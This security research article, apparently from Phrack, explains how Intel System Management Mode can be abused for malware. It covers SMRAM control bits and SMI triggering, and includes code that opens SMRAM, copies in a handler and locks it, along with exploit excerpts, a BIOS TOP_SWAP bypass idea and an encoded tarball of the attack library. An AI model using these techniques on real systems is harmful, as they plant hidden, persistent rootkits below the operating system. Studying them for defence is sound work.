SMM, explaning how to use it for evil purposes. For that, the paper have been structured in two important portions: Chapter 2 will give a basic knowledge of the Pentium modes of operation (needed to better understand the other portions of the chapter) and them will introduce what was the Duflot discoveries related to that. After that the chapter will explain what Duflot missed, explaining why the system behaves in the way that permits our uses, and introducing the SMM internals and our library to manipulate the SMM. Chapter 3 will explain how to use the SMM for evil purposes, explaning the challenges to use the SMM and giving pratical samples on the use of our library. ------[ 2 - System Management Mode From the Intel manuals [1]: "The Intel System Management Mode (SMM) is typically used to execute specific routines for power management. After entering SMM, various parts of a system can be shut down or disabled to minimize power consumption. SMM operates independently of other system software, and can be used for other purposes too." Everytime we read something like "and can be used for other purposes" we start to think: what the hell? What kind of other purposes? It's interesting that every single sample in the Internet just points to energy-related uses of the SMM, and says nothing about other purposes. In 2006, Duflot and others [2] released a paper about how to use the SMM to circumvent operating system protections. It was the first time that a misuse of the SMM was shown, and it gave some ideas (like how to put a code in SMM, how to manipulate the system memory inside SMM and how to force a system to enter the SMM), leaving open many questions that will be answered here (how to create a really stable code to subvert the SMM, how to manipulate the SMM registers, difficulties in create a stable system running inside the SMM and why the system behaves in the way he just said in the paper). ---[ 2.1 - Pentium modes of operation Everybody already knows about the modes of operation of the P6 family of processors. Real-mode is a 16-bit addressing mode, keept for legacy purposes and nowadays just used in the boot process. Protected mode is a 32-bit mode and provides the protection model used by the modern operation systems. The Virtual 8086 mode have been introduced to garantee greater efficiency when running programs created for older architectures (such as 8086 and 8088). The System Management Mode (SMM) is another mode of operation that, as already said, is supposed to be used to manage power functions. Volume 3 of the Intel processor manuals [1] already explained the acceptable transitions between those modes: ------------------- SMI (interrupt) |->|Real Address Mode| -------------------------------------------| | ------------------- <----------------------------------| | | | PE=1 ^ PE=0 (requires ring0) or |rsm or | | v | reset |reset V | ------------------- --------- reset | | Protected Mode | -------> SMI (interrupt) ------> | SMM Mode | | ------------------- <------- rsm instruction <------ --------- | | VM=1 ^ VM=0 | ^ | v | |rsm | | ------------------- <----------------------------------| | |- |Virtual 8086 Mode| -------------------------------------------| ------------------- SMI (interrupt) P.S.: PE and VM are flags of the CR0 (control register 0) Basically what we need to get from here is: - Any mode of operation in the intel platform can make a transition to the SMM mode if an SMI interrupt is issued. - SMM mode will return to the previous mode by issuing a rsm instruction (so the processor will read a saved-state to restore the system to the previous situation before enter the SMM). ---[ 2.2 - SMM Overview First of all, when the system enters the SMM mode, the whole processor context must be saved in a way so that it can be restored later. By doing so, the processor can enter in a special execution context and start executing the SMI handler. To return from this mode there is the special instruction RSM (can be used just inside the SMM itself) that will read the saved context and return to the previous situation). Also, in SMM the paging is disabled and you have a 16-bit mode of operation , but all physical memory can be addressed (more on this later). There are no restrictions to the I/O ports or memory, so we have the same privileges as in Ring 0 (in fact, from SMM someone can just manipulate all the system memory). What Duflot showed is a way to put your own SMI handler, force the processor to enter the SMM mode, change the system memory to bypass a security protection (in his case, the securelevel of an OpenBSD system) and then execute his own code changing the saved context to point to it. ---[ 2.2.1 - SMRAM The System Management Mode has a dedicated memory zone called SMRAM. It's located in the 0x1FFFF bytes starting at SMBASE (it may be bigger if the system activates Extented SMRAM). The default value of SMBASE is 0x30000, but since modern chipsets offer relocation, it's commonly seen as 0xA0000 (BIOS relocates it to the same memory-mapped base address used by the I/O ports of the video card). As spotted by Duflot, the memory controller hub has a control register called SMRAM Control Register that offers a bit (D_OPEN - bit 6) that, when it's set, makes all memory accesses to the address space starting at SMBASE be redirected to SMRAM. If the processor is not in the SMM mode and the D_OPEN bit is not set, all accesses to the SMRAM memory range are forwarded to the video card (when it have been relocated to the shared address as said) - giving a protection to the SMRAM, which we will use later to protect the malware). Else, if the D_OPEN bit is set, the memory addressed will be the SMRAM. Another important thing he showed concerning the handler is the bit number 4 (D_LCK) of the SMRAM Control Register, which, when set, protects the SMRAM control register and thus, the SMRAM memory itself, if the D_OPEN bit was not set at the time the control register was locked. To change it, the system needs to reboot (which gives us a challenge, since most modern BIOS will lock it). It's well detailed in the Intel Manuals, but the fact that a super-user could write to it using the video device and then force a SMI to be triggered was really new. When entering the SMM the processor will jump to the pysical address SMBASE+0x8000 (which means that the SMI handler must be located at the offset 0x8000 inside the SMRAM). Since when the D_OPEN bit is set we can put some code in the SMRAM, we just need to force an SMI trigger to get our code executed. ----------------- SMBASE+0x1FFFF | | | | | | | | SMBASE+0xFFFF ----------------- | | | State save area | | | SMBASE+0xFE00 ----------------- | | | Code,Heap,Stack | | | SMBASE+0x8000 ----------------- ----> First SMI Handler instruction | | | | | | SMBASE=0xA0000 ----------------- ---[ 2.2.2 - SMI handler Since we will set the D_OPEN bit we need some way to avoid the display usage, since all access to the video memory will be forwarded to SMRAM and not to the video card. Duflot does not explain how it is possible, since his sample was for OpenBSD and it assumed there was no one using the video card (he showed an exploit for an OpenBSD problem but as a requisite, there is no one using the X, for example). In our samples, we will also show how to manipulate the registers directly, but we will use the libpci [4] to guarantee no problems with this (since the libpci uses the system interfaces to manipulate the PCI subsystem avoiding race conditions in the resource usage). It's also more portable, because libpci as we will show supports a lot of different operating systems. So, to insert the handler the attacker needs to: - Verify if the D_LCK bit is not set - Set the D_OPEN bit - Have access to the memory address space (in the sample, 0xA0000-0xBFFFF) To access the memory we can just mmap the memory range using the /dev/mem device, because it provides access to the physical address space (instead of the virtual vision provided by the /dev/kmem for example). ---[ 2.2.3 - SMI Triggering Since the SMI signal is a hardware-generated interrupt there is no instruction to generate it by software. The chipset may generate it, but _when_ it does depends on the chipset [5][6]. Duflot also already explained in his paper the SMI_EN register, where the least significant bit is a global enable, specifying whether SMIs are enabled or not (the other bits of SMI_EN then control which devices can generate an SMI). The SMI_STS register keeps track of which device last caused an SMI. These registers can be accessed using the regular PCI mechanisms ("in" and "out"). The position of those register are variable, but they are in a relative address to PMBASE (SMI_EN=PMBASE+0x30 and SMI_STS=PMBASE+0x34). The PMBASE can be accessed using bus 0, device 0x1F, function 0 and offset 0x40. More details of the PCI configuration mechanisms in the section 2.3.1. ---[ 2.2.4 - Duflot discovery - Exploit In his paper Duflot & friends showed a working exploit against OpenBSD. This will be our first code to be analyzed (also attached with small modifications to work on Linux). As can be seen, the code will have problems if there is an X Server running ,since it just forwards all video memory access to the SMRAM. Since the Linux operating system (as most of unixes) provides a way to rise the I/O privilege level in the user-mode, the exploit is using that in a way it can use the instructions in/out: if(iopl(3) < 0) { To get access to the SMRAM, the D_OPEN bit must be set: outl(data1, 0xcf8); outl(data2, 0xcfc); Also here, we can easily see that, in the handler, it is doing the following: addr32 mov $test, %eax mov %eax, %cs:0xfff0 Here we have that the offset 0xfff0 is the saved EIP in the saved-state map inside the SMRAM. By doing so, it is just putting the address of a function in the saved-state map, so when the system triggers the rsm instruction it will return to protected mode, but now executing the test() function (the saved EIP). Duflot discovered that accessing the Programmed I/O Port 0xB2 with the bit 5 of SMI_EN set will generate an SMI: outl(0x0000000f, 0xb2); For sure it's really funny... but what else can be done with that? ---[ 2.3 - Duflot misses In his paper Duflot does not explain how the PCI Configuration really works (for example, he just pointed to use the port 0xCF8 for address and port 0xCFC to perform the operation itself). Also, he never said when and why the system generates a SMI. The idea of use the SMM to manipulate the system memory can also be really expanded, to create a malware running inside the SMM, or to bypass boot-protections and many others (like create a system protection mechanism running on it). The rest of this chapter and the next one will show many details about how the SMM works and what we can use inside the SMM. Also, will better explain how to analyse the system and create a portable library to manipulate the SMM-related registers. ---[ 2.3.1 - PCI Configuration The original PCI specification [11] defined two mechanisms for i386 PCs, but later specifications deprecated one of these ways. Since this specification is not free, we highly recommend you to read a book about that [12]. Basically, you have two I/O port ranges: one associated to the address port (0xCF8-0xCFB) and the other to the data port (0xCFC-0xCFF). To configure a device, you must write to the address port which device and register you want to access and then read/write the data from/to the data port. The rule about the format of the data written to the address port is as following: Bits Description 0..1 00b (always 0) 2..7 Which 32-bit space in the config space to access 8..10 Device function 11..15 Device Number A complete list of PCI vendors and devices can be found in [13]. PCI devices have an address which is broken down into a PCI-bus number, a device number within that bus (values 0-31), and a function number within the device (values 0-7). Since a single sample is more valuable, to access a register REG in the bus:device:function PCI space you will need to use the following address: 0x80000000L | ((bus & 0xFF) << 16) | ((((unsigned)device) & 0x1F) << 11) | ((((unsigned)func) & 0x07) << 8) | (REG & 0xFC); In each PCI device's configuration space there's normally one or more BARs (Base Address Registers), which can be used to set or find the address in physical memory or in I/O space of each resource the card uses. ---[ 2.3.2 - When and why the system generates a SMI All memory transactions (read/write memory access) from the CPU are placed on the host bus to be consumed by some device. Potentially the CPU itself would decode a range (of memory) such as the Local APIC range, and the transaction would be satisfied before needing to be placed on the external bus at all. If the CPU does not claim the transaction (don't decode), then it must be sent out. In a typical Intel architecture, the transaction would next be decoded by the MCH (Memory Controller Hub) and be either claimed as an address that the MCH owns, or it's determining based on decoders that the transaction is not owned by the MCH and thus should be forwarded on to the next possible device in the chain. If the memory controller does not find the address to be within actual DRAM, then it looks to see if it falls within one of the other I/O ranges it owns (ISA, EISA, PCI). Depending on how old the system is, the memory controller may directly decode PCI transactions (instead of pass that to the I/O bridges), for example. If the MCH determines that the transaction does not belong to it, the transaction will be forwarded down to whatever I/O bridge(s) may be present in the system. This process of decoding for ownership / response or forwarding down if not owned repeats until the system runs out of potential agents. The final outcome is either an agent claims the transaction and returns whatever data is present at the address, or no one claims the address and an abort occurs to the transaction, typically resulting in 0FFFFFFFFh data being returned. In some situations (Duflot paper's case), some addresses (for example those falling within the 0A0000h - 0BFFFFh range) are owned by two different devices (VGA frame buffer and system memory). This will force the architecture to send a SMI signal to satisfy the transaction. If no SMI is asserted, then the transaction is ultimately passed over by the memory controller, so that the VGA controller (if present) can claim it. If the SMI signal is asserted when the transaction is received by the memory controller, then the transaction will be forwarded to the DRAM unit for fetching the data from physical memory (executing our handler). ---[ 2.4 - SMM Internals - Our first experiences Here we will clarify some important details about SMM and how it works. This will be important to better understand the attached library. ---[ 2.4.1 - Analyzing the SMM registers Let's start by analyzing the SMM using libpci, so we can have more stability doing this. The following code is known to work fine in ICH5 and ICH3M controllers. --- code --- #include #include #include /* Defines - bit positions (will be used in more samples) */ #define D_OPEN_BIT (0x01 << 6) #define D_CLS_BIT (0x01 << 5) #define D_LCK_BIT (0x01 << 4) #define G_SMRAME_BIT (0x01 << 3) #define C_BASE_SEG2_BIT (0x01 << 2) #define C_BASE_SEG1_BIT (0x01 << 1) #define C_BASE_SEG0_BIT (0x01) /* Function to print SMRAM registers */ void show_smram(struct pci_dev* SMRAM) { u8 smram_value; /* Provided by libpci */ smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET); if(smram_value & D_OPEN_BIT) { printf("D_OPEN_BIT: 1\n"); } else { printf("D_OPEN_BIT: 0\n"); } if(smram_value & D_CLS_BIT) { printf("D_CLS_BIT: 1\n"); } else { printf("D_CLS_BIT: 0\n"); } if(smram_value & D_LCK_BIT) { printf("D_LCK_BIT: 1\n"); } else { printf("D_LCK_BIT: 0\n"); } if(smram_value & G_SMRAME_BIT) { printf("G_SMRAME_BIT: 1\n"); } else { printf("G_SMRAME_BIT: 0\n"); } if(smram_value & C_BASE_SEG2_BIT) { printf("C_BASE_SEG2_BIT: 1\n"); } else { printf("C_BASE_SEG2_BIT: 0\n"); } if(smram_value & C_BASE_SEG1_BIT) { printf("C_BASE_SEG1_BIT: 1\n"); } else { printf("C_BASE_SEG1_BIT: 0\n"); } if(smram_value & C_BASE_SEG0_BIT) { printf("C_BASE_SEG0_BIT: 1\n"); } else { printf("C_BASE_SEG0_BIT: 0\n"); } printf("\n"); } int main(void) { struct pci_access *pacc; struct pci_dev *SMRAM; /* Provided by libpci */ pacc = pci_alloc(); pci_init(pacc); SMRAM = pci_get_dev(pacc, 0, 0, 0, 0); printf("Current status of SMRAM:\n"); show_smram(SMRAM); printf("Setting D_OPEN to 1\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a); show_smram(SMRAM); printf("Locking SMRAM\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a); show_smram(SMRAM); printf("Trying to set D_OPEN to 0\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a); show_smram(SMRAM); return 0; } --- end code --- Compile this using: gcc -o brazil_smm1 brazil_smm1.c -lpci -lz An execution sample: rrbranco:~/Phrack# ./brazil_smm1 Current status of SMRAM: D_OPEN_BIT: 0 D_CLS_BIT: 0 D_LCK_BIT: 0 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Setting D_OPEN to 1 D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 0 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Locking SMRAM D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 1 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Trying to set D_OPEN to 0 D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 1 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 ---[ 2.4.2 - SMM Details When the processor enters the SMM mode it will signal an output pin, aSMIACT#, to notify the chipset that the processor is in the SMM. The SMI interrupt itself can be triggered anytime, except while the processor is already in SMM (of course). This will cause the SMM handler to be executed (as we already showed). Since the SMIACT# was noticed by the chipset, all further memory accesses will be redirected to the SMRAM protected memory. After that, the processor will start to save its internal state in the saved_state map area, inside the SMRAM. Then, the handler starts to execute. What is the current state? The processor is in a 'real mode', with all segments containing 4GB limit and being readable/writable. As said, to leave the SMM, the RSM instruction is issued by the handler, and then the processor reads the saved-state map again, performing just some checks on it (that's good) restoring the system to the previouas situation. SMM writes data in the saved-state map exactly in the same way as the stack does, from top to bottom beginning from the SMBASE register (thus, permiting relocation). It's important to keep this in mind when manipulating the saved-state map. If the system enters SMM by result of a halt or I/O instruction, the handler can tell the system to continue the execution after that or to enter the halt state just setting a flag in the saved-state map. Upon entrance in SMM the interrupts are disabled (including the asyncronous NMI (Non Maskable Interrupt) and INIT), and the IDT (interrupt description table) register keeps it's value. In order to service interrupts inside SMM (a motivation for that will be showed), one needs to setup an own interrupt vector [14] and reload the IDT with your new value, since the values contained in the old IDT are no longer valid in the address space used by SMM. After the STI instruction, the system start to receive some interrupts but will still miss the asyncronous ones. To enable that is needed to issue the IRET/IRETD instructions. The big concern about re-enabling interrupts inside the SMM handler is that if an NMI interrupt is received while inside the handler, it will be latched. So, potentially any verification done inside the SMM handler can be bypassed if someone hooked the NMI handler routine (this routine would be executed immediately after the RSM, before the processor starts executing the code pointed by the EIP in the saved-state map). During our tests, SMM relocation gave us some problems in older machines (pentium II/III). Also, we preferred to use those machines to test our things, since there is no SMM locking being done by the BIOS (generally saying, BIOS older than 2 years). Apparently, those older processors had a fixed CS value point to 0x30000 (the default SMM position - relocated by most of modern BIOS to 0xA0000 as we already said). If we enable interrupts inside the SMM, when an interrupt is invoked, it will save CS:IP in the stack for further return. But it will use the fixed value of CS (0x30000) instead of using the SMBASE value, not reflecting the right code segment that the SMM is actually using and, therefore, the code will return to the wrong location. Also, the Intel documentation mentions alignment problems in the SMBASE value in older processors (previously to PIV). ------[ 3 - SMM for evil purposes As already said, the SMM can be used to modify kernel internal structures. Here we will also show some challenges and other possible uses for a malware code running inside the SMM. ---[ 3.1 - Challenges ---[ 3.1.1 - Cache-originated overwrites When entering the SMM, the SMRAM may be overwritten by data in the cache if a #FLUSH occur after the SMM entrance. To avoid that we can shadow SMRAM over non-cacheable memory or assert #FLUSH simultaneously to #SMI events (#FLUSH will be served first). Most BIOS mark the SMRAM range as non-cacheable for us (and also locks it, since Duflot paper publication). ---[ 3.1.2 - SMM Locking Most BIOS manufacturers lock the SMM nowadays. When you are inserting a protecting mechanism using the SMM you can just replace the system BIOS for an open-source one (see LinuxBIOS [7]). When we are talking about malicious code, this cannot be done and some kind of BIOS patching must take place. This article is focusing in the SMM manipulation itself, but a good approach to bypass the BIOS protection is to use the TOP_SWAP [8] bit to execute our code before the original BIOS code and then load our SMM handler and lock it (this will prevent the original BIOS to overwrite our SMM handler). Basicaly this bit is used to define if the system will use the first 64K or the second one as area to load the BIOS from. Knowing that, someone can just set the TOP_SWAP bit, put own code in the second 64K area and in the code jump back to the original BIOS code. This code will be runned BEFORE the BIOS. The TOP_SWAP bit exists to provide a secure way to BIOS update - the BIOS code is copied to the second 64K, the TOP_SWAP bit is set, the update is done and an integrity check is performed - if there is anything that makes the system to reboot, it will restart in the second 64K which holds a copy of the original BIOS without any problems. ---[ 3.1.3 - Portability As said, the SMM is harware-dependent, more specifically it's ICH-dependent. The attached code is know to work in ICH5 and ICH3M, tested under Linux, but since it uses the libpci, it's supposed to work also in FreeBSD, NetBSD, OpenBSD (also tested on it), Solaris, Aix, GNU/Hurd and Windows). To provide support to other ICHs one must edit the libSMM.h header file to specify the correct location of the bus, device, function and offset and then be sure the PMBASE returned by the function get_pmbase() is right (comparing to the manuals). After that, verify if the SMRAM_OFFSET is correctly defined (you can get that in your I8xx manuals). If so, the bits in the SMRAM control register will be correctly showed (you can easily test it using the D_LCK bit, since when set will not permit any other bit to be manipulated). One can also test it using the dd command showed next in this article and the D_OPEN bit (use the open_smram function, write to the SMRAM memory mmap'ing it and then dump it to verify if it's working). ---[ 3.1.4 - Address translation Address translation is a great difficulty when we are inside our handler, since we need the value of the CR3 register (which we can get from the saved-state map) to manually parse the page tables and then perform the actual translation. Another approach is to just transfer the control back to our code in the same way that Duflot did, but we need to save the current processor status inside SMM, so after the execution of our code (after the SMM) we can transfer the control back to the process that was executing before triggering the SMI (else we would have some portions of the system just stopping to work after our malware get executed). This is not good... The best thing that we can do is just have a simple handler that gives the biggest privilege level of execution to the calling code (i.e. the code that was executing before the SMI) and then return. By doing so, we avoid to stay too much time in the SMM context and don't need to care about stopped OS processes. In the next sections we clarify how to put code in the SMM space, test it and then an approach using the descriptor caches to provide the above statement. ---[ 3.2 - Copying our code in the SMM space ---[ 3.2.1 - Testing So, the first step to put some code in the SMM is to open the SMRAM by setting the D_OPEN bit. --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT)); --- end code --- To close it after we finish, we will use the following: --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ~D_OPEN_BIT)); --- end code --- Also, after inserting our code, we want to lock SMRAM access, avoiding anyone from changing the SMM-related registers. --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT)); --- end code --- In order to get our code inserted in the SMRAM memory, we need to map it, in the same way we did in the exploit. --- code --- fd = open(MEMDEV, O_RDWR); if(fd < 0) { fprintf(stderr, "Opening %s failed, errno: %d\n", MEMDEV, errno); return -1; } vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, SMIINSTADDRESS); if(vidmem == MAP_FAILED) { fprintf(stderr, "Could not map memory area, errno: %d\n", errno); return -1; } close(fd); /* Here we are copying our code to the SMRAM memory */ if(vidmem != memcpy(vidmem, handler, endhandler-handler)) { fprintf(stderr, "Could not copy asm to memory...\n"); return -1; } if(munmap(vidmem, MAPPEDAREASIZE) < 0) { fprintf(stderr, "Could not release mapped area, errno: %d\n", errno); return -1; } --- end code --- It's a good idea to verify if it's working properly, and also make a previous copy of your SMRAM memory contents before that. So, let's do that using dd: dd if=/dev/mem of=my_smram bs=1 skip=`expr 655360 - 1` count=64K P.S.: 655360 is 0xa0000 in decimal (as spotted by Duflot, SMM is commonly relocated to that address instead 0x30000, as in the default case) ---[ 3.2.2 - Descriptor caches This idea worked in some system and not in some others, since the Intel documentation is not exactly clever about this subject. From the Intel manual: "Every segment register has a visible part and a hidden part (The hidden part is sometimes referred to as a descriptor cache or a shadow register). When a segment selector is loaded into the visible part of a segment register, the processor also loads the hidden part of the segment register with the base address, segment limit, and access control information from the segment descriptor pointed to by the segment selector." "Access control information" is refering to the well know xPL: - RPL -> Request privilege level - CPL -> Current privilege level - DPL -> Descriptor privilege level In the saved-state map inside the SMRAM, also according to the Intel manuals, are saved the descriptor caches and the CR4 register (the manual says it's not readable and write to this values will cause an "unpredictable behavior"). We found the following: TSS Descriptor Cache (12-bytes) - Offset: FFA7 IDT Descriptor Cache (12-bytes) - Offset: FF9B GDT Descriptor Cache (12-bytes) - Offset: FF8F LDT Descriptor Cache (12-bytes) - Offset: FF83 GS Descriptor Cache (12-bytes) - Offset: FF77 FS Descriptor Cache (12-bytes) - Offset: FF6B DS Descriptor Cache (12-bytes) - Offset: FF5F SS Descriptor Cache (12-bytes) - Offset: FF53 CS Descriptor Cache (12-bytes) - Offset: FF47 ES Descriptor Cache (12-bytes) - Offset: FF3B The saved-state map is stored at SMBASE + 0xFE00 to SMBASE + 0xFFFF. Modifying the DPL field of the SS descriptor cache from 3 to 0 gives ring0 power to our program (and a General Protection Fault in newer processors). ---[ 3.2.3 - Code relocation SMM has the ability to relocate its protected memory space. The SMBASE value saved in the state save map may be modified. This value is read during the RSM instruction. When SMM is next entered, the SMRAM will be located at this new address. From our SMM handler, in the saved-state map, we can modify this value (at offset 0xFEF8 from SMBASE). To perform that, we must care about CS adjustments inside our code. It can be used to relocate the SMRAM to memory area of our choosing and trick those who try to dump the SMRAM for analysis using the standard SMBASE values (anyway, since our malware is locking the SMM and clearing the D_OPEN bit, we don't need to use this technique). ------[ 4 - SMM Manipulation Library The SMM Manipulation Library attached in this article provides an easy way to create portable code to manipulate the SMRAM control register. It offers the following methods: u8 show_smram (struct pci_dev* smram_dev, u8 bits_to_show) It's used to test if specific bits are set or not The pci_dev structure are optional, NULL can be passed. u16 get_pmbase (void) Internally used by the library to manipulate the SMI-enablement. Exported by the function to turn easy to an external program verify the correct offsets for the SMI_EN and SMI_STS. u16 get_smi_en_iop (void) Return the location of the SMI_EN u16 get_smi_sts_iop (void) Return the location of the SMI_STS int enable_smi_gbl (u16 smi_en_iop) Enable SMI globally int disable_smi_gbl (u16 smi_en_iop) Disable SMI globally int enable_smi_on_apm (u16 smi_en_iop) Enable SMI on APM events int disable_smi_on_apm (u16 smi_en_iop) Disable SMI on APM events int open_smram(void) Open SMRAM for access (set D_OPEN bit) int close_smram(void) Close SMRAM for access (unset D_OPEN bit) int lock_smram(void) Lock the SMRAM (set D_LCK bit) void write_to_apm_cnt(void) Write to the APM CNT (generate a SMI) Also, the include file libSMM.h contains the valid values to be used to locate related registers and bit's for the SMM manipulation, like the device, function bus and offsets. It contains specify defines for interesting bits inside the SMRAM control register too, like the D_OPEN and the D_LCK. Attached to the article is also the file libSMM_test.c showing how to use the SMM Manipulation Library. This program will basically set and unset all control registers that will affect the SMM manipulation. It can be used to test if the library is working propertly in your hardware and since it will also test the D_LCK bit, one need to reboot after run this program. The evil.c code also attached will use the SMM Manipulation Library to insert a small SMM handler that freezes the processor. ------[ 5 - Future and other uses We can't foresee the future, but modern rootkits are becoming much more targeted, so this kind of deeper hackishs will start to be more widely seen. Also, with new platforms to BIOS enhancements, like the Extensible Firmware Interface, everything that depends on boot patching will be easier [9]. Another important thing to notice is the virtualization resources that exist nowadays and some possibilities of using them in implementations of hardware protected integrity-check systems [10]. ------[ 6 - Acknowledgments A lot of people helped us in the long way these researches that resulted in something funny to be published, you all know who you are. Special tks to twiz and the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it. Finally, big tks to Julio Auto for the review of the article drafts. BSDaemon: Conference organizers who invited me to talk about protection mechanisms using SMM (yeah, a lot of fun in completely different cultures). To my girlfriend who waited for me (alone, I suppose) during this travels. RISE Security (http://www.risesecurity.org) for always keeping me motivated studying completely new things. ------[ 7 - References [1] - Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm [2] - Loic Duflot, Daniel Etiemble, Olivier Grumelard, "Using CPU System Management Mode to Circumvent Operating System Security Functions" Proceedings of CanSecWest, 2006 [3] - Branco, Rodrigo Rubira, "KIDS - Kernel Intrusion Detection System" Hackers to Hackers Conference, 2007 [4] - LibPCI for Linux ftp://ftp.kernel.org/pub/software/utils/pciutils/ [5] - Intel 82801 BA-I/O Controler HUB (ICH2) Datasheet http://www.intel.com/design/chipsets/datashts/290687.htm [6] - Intel 82845 Memory Controler HUB (MCH) Datasheet http://www.intel.com/design/chipsets/datashts/290725.htm [7] - LinuxBIOS http://freshmeat.net/projects/linuxbios [8] - Bing, Sun, "BIOS Boot Hijacking By Using Intel ICHx "Top-Block Swap" Mode" XFocus Information Security Conference, 2007 [9] - Heasman, John, "Hacking the Extensible Firmware Interface" Blackhat Las Vegas Briefings, 2007 [10] - Branco, Rodrigo Rubira, "StMichael Project" http://stjude.sf.net [11] - PCI Specification http://www.pcisig.com [12] - Shanley, Tom; Anderson, Don; "PCI System Architecture" Mindshare Inc ISBN 0-201-30974-2 Publisher: Addison Wesley [13] - PCI Database http://www.pcidatabase.com [14] - devik & sd; "Linux on-the-fly kernel patching without LKM" Phrack 58 ------[ 8 - Sources - Implementation details [brazil_SMM.tgz] Attached a GPLed library that will help you to manipulate the SMM-related features, accompanied by some programs displaying sample usage. Further updates will be available in the StMichael project website, at: http://stjude.sf.net begin 644 brazil_SMM.tgz M'XL(`-M5[D<``^Q;VW+;2)+UZU3L1U3HI:4(FFWY.MU^HB3*XHY$JDG*;CUM M@$211!L$."A`,O?K]V1F%5#@Q9[9F-Z(B5C%],@B"EE9>3V9E9P5T7\GZ7]- M[NY^?O%G_;S"SX=W[^CW^8=WK\+?_N?%^:L/']Z\???Z_?OW+UZ=O_[PYLT+ M_>Y/XRCXJ6P9%5J_*&9%E,WSH^M^]/S?]&?6Z#]-9G^.#?SS^G_S[M7Y_^O_ M_^)G1_^WR=QDUOQK]R`%OW_[UNM[Y_?;-^=P=NC__5L8Q9L/KTG_[]^^>Z%? M_6O9./Q3ZS_/R^^M^]'S?].?O_Q%X^?3\$%_Z@_[X]ZMOG^XN!U<:OS7'T[Z M2A;@Y[,I;))G^G5'_V>5&7W^RR_G2NG+?+,MDN6JU*>79_CPK[]T^)&^+HS1 MDWQ1/D>%T==YE<51"0(=/E)V]'6R*%?Z.LWSHJ,O MUJ]>GY^_>GG^YM6YU@^3GM+])U-LI@8JW2^T.4*;Z;B`#K.Y]7:9.``Z_5\%67+)%OJ MI"3R65[J*$WS9Q-W%23$(KHO3+2>I08RT=.5\92L7N2%7H-S;;TPZ+_8V&29 M"8=E]!4?/D=;OVHF?*\_SR)9:LB4];81EM M6A\'6]!:/BC$`AZMKBS,I4N22*QJLZ8]:]%FDT+XM#G+AW5@VH:C&L/YR082 MS/@T4;;5.=XI]*;(ET6TUL^KG"A7Y2HO+*2TAAU@I:JLJ`\LG4[RM7&O'3/2 MUN'F.[A_%B#RYKUG^7-.-+0ACEL0*QDKAB81I,G9UMXE0(L;)I.U7>9235@IRW((/ M**NZ:BKOM':!2]LT*IGXW!1EA`-CQ08/DUF2)F7BXA!1%HFJ@QH-)=DACISX MUWF<+,A\6137>&"^1>M-BD5NQ4%RMIJO=.1%#EFM#+F=PE]EPB?FF*$7!H1X M'Z1CO4R<_<$Z$I#*(!R**XT46*[D1IILM2M>QN_NF#->V;*#=6I3"\P+3U5@ M>:#3@TG4?-@53`)KUMX8D%4H!C%5,1C\*RF45PWYL#ED);![9+'R&3HMS<;^ MJD_/SS@O2>9L2QUFJ4Y?GT%^\'-G)D%F>EXE$"K)R/+#U"SAYISQ+"=HE_(Z MH89!\V=.0ZS&<#_FNI=:2(AT82+2&(=/Q%MW%*)*SH(#B<&S-WJ#=P:G6.#& M9^&*#!?8*HMMK0H)IUF.]PO*0EO>DD_72C90Q&"QEV.8^83C,#Y?&]K%I%:2 MP2:R%H\('3P;Y:*%#2T([#J5@9EG;QQL0#ZGTXXY5))D4=K!'G(D2C(0!%+[ MFG-ID/?L*"355RAA%SN:;'Z;;#FX3A MB5@J5X`42-W8"^F>9%DBA?#I77+4KBBIC2^8P#B6Q2XQEX?*8-;'/.WL9Y:-60P6^D M(0-0O>VZH`F;('.!FMEX6.+K*"8PH^>IB1R'$($[D+C?K,90L9BF,ZV?'-R@ M*(^/2>[UNHB!6==CL`WIO_9 M5_V'^B%>QM-I?WPWT;WAE;X<#:\&T\%H.-'7HS'^O'\<##]U]-5@,AT/+A[H M$2^\&UT-K@>7/?J`F'_59>1T""HY^'O!.C9 M0'`=Q9BE9I_30G`&XI[C'FSRA(\RB\2;>6=/3:T-\IPV"1\Y>$(TB"Y839Z@ M,=@74Q'FFP.GT?.OXM,)\X*38UM9Z\3FS+E%66_R@LV`P41'.0;J&H).0/$] M-!GK0VZ=FV.*'71^UIA*X9M5M"21G=X@,B(0+"#B3OT";D=8\SY36C3\+=3PAY]BF4.\_@$!?%,4`!NXG5)\@=)W"4'L+[DP"$W,F5 M@-4QOV@=DL$D`<\&(8MU.'/X*"&645E5VH1='AD4U+VI1!0M%ZJHLCW1NZ#L MD8Z).PZQ,37$482!?!V^H@*PGF<$MQ>\(>F6+S3GW(.#>2"YR.,.,4^C9`VI@&F?^3_JK\9L MR"7(`ARZ4_*:]1F+\`^5QZU(*)4?'3Z:69-A%\IE.%M-6M$:!I%-?1@`@;;H M8`A\%!_8W#XJ2G-H5W!;LQJJJK4DE0Z#5X=C$&I76POG2)U=BS/[]#,EO.ZL1R'[YBBG*HX;#`^8KK(IB2R M847%>7$M[!X-Q1V72\5.0Z#)H;T="%V`UP=2R<0=[EQ%,_CM`;N$:0!PKXT1 M(Y%36!/D\5\5]Y*BLZ8(F$>5E0JBQHR+))7T.8=L6;`X([FW,SFF82FNLD_[ 